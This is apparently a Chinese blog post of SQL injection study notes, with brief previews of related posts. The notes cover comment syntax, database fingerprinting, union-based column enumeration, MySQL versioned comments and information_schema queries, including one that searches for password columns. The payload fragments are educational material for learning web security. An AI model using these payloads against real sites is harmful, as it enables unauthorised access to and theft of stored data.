SQL注入的一些筆記 一

2021-06-21 02:21:49 字數 1589 閱讀 8333

注釋:-- (含空格)或#

注入字串:

1、『2、』『

3、連線符:mysql:』 『a(空格)

oracle:'||'a

ms-sql:'+'a

注入數字:

1、表示式

2、sql關鍵字表示式:67-ascii(『a』)

3、單引號被過濾時,基於必要時的隱式轉換:51-ascii(1)

ps:url編碼:

1、&:%26    =:%3d

2、空格:+或%20

3、+含義用%2b編碼

4、;用%3b不表示分隔cookie欄位

注入查詢結構:

1、對於order by結構,提交1,2,3,。。。且此結構可知道查詢結果共多少列

2、1 asc

1 desc

不接受union,where等關鍵字,用巢狀查詢代替引數

區分資料庫方式:

oracle:bitand(1,1)-bitand(1,1)

ms-sql:@@pack_received-@@pack_received

mysql:connection_id()-connection_id()

mysql處理行內注釋:

/*!32302 and 1=0 */

如上,以!開頭,接資料庫版本資訊,則若實際版本高於或等於注釋中的版本,注釋中內容解釋為sql

union組合的列,列數必須相同,且資料型別相容;null可以轉換為任何資料型別,佔據一列,未知資料型別可以用null填充

確定列數:

1、用order by語句

2、' union select null--

' union select null,null--

直到出現查詢結果

確定字串列:

確定列數後,將上面確定列數的注入語句其中乙個null改為字串『a』,迴圈測試所有列

ps:oracle每個select語句必須有from,可用全域性表dual

提取資料庫版本:

ms-sql,mysql:@@version,version()

oracle: select banner from v$version

user()可以提取連線資料庫的使用者名稱

database()提取資料庫名稱

提取有用資訊:

利用元資料庫information_schema:

1、information_schema.columns:所有資料庫表名和列名,table_name,column_name

ps:可以查詢特定有用資訊,利用where子句   select table_name,column_name from information_schema.columns where column_name like '%pass%'

2、information_schema.schemata:資料庫名稱。schema_name

ps:連線查詢結果列:oracle:  table_name||':'||column_name

ms-sql:table_name+':'+column_name

mysql: concat(table_name,':',column_name)

SQL的一些筆記

強大的字串搜尋功能 regexp 例如 搜尋名字中含fiels的人,可用 1.select from table where name like fiels 2.select from table where regexp fiels 上面這個還看不出來功能的強大。接下來我們搜尋名字以fiels開頭...

關於sql注入的一些理解

什麼叫做sql注入?sql注入算是一些不法分子的攻擊手段,通過sql語句來實現無賬號密碼登入及其他操作。比如在乙個需要登入的介面 賬號輸入成這樣的話,密碼可以隨意,那麼能很輕易的登入進去。因為在這條sql執行的時候,後台的sql語句生成會出現 select from table where user...

SQL注入之報錯注入的一些隨筆

關於報錯注入的話雖然我在我之前的文章裡面寫了一些,但是sql注入的姿勢實在是太多了。之前寫過的payload不全也不系統。今天抽出時間來總結一下。ps 關於報錯注入的原理和使用的基本函式我在我之前的文章 sqli labs修煉筆記 二 中已經詳細說過了,如果不懂可以去看看。ps的ps 這裡以sqli...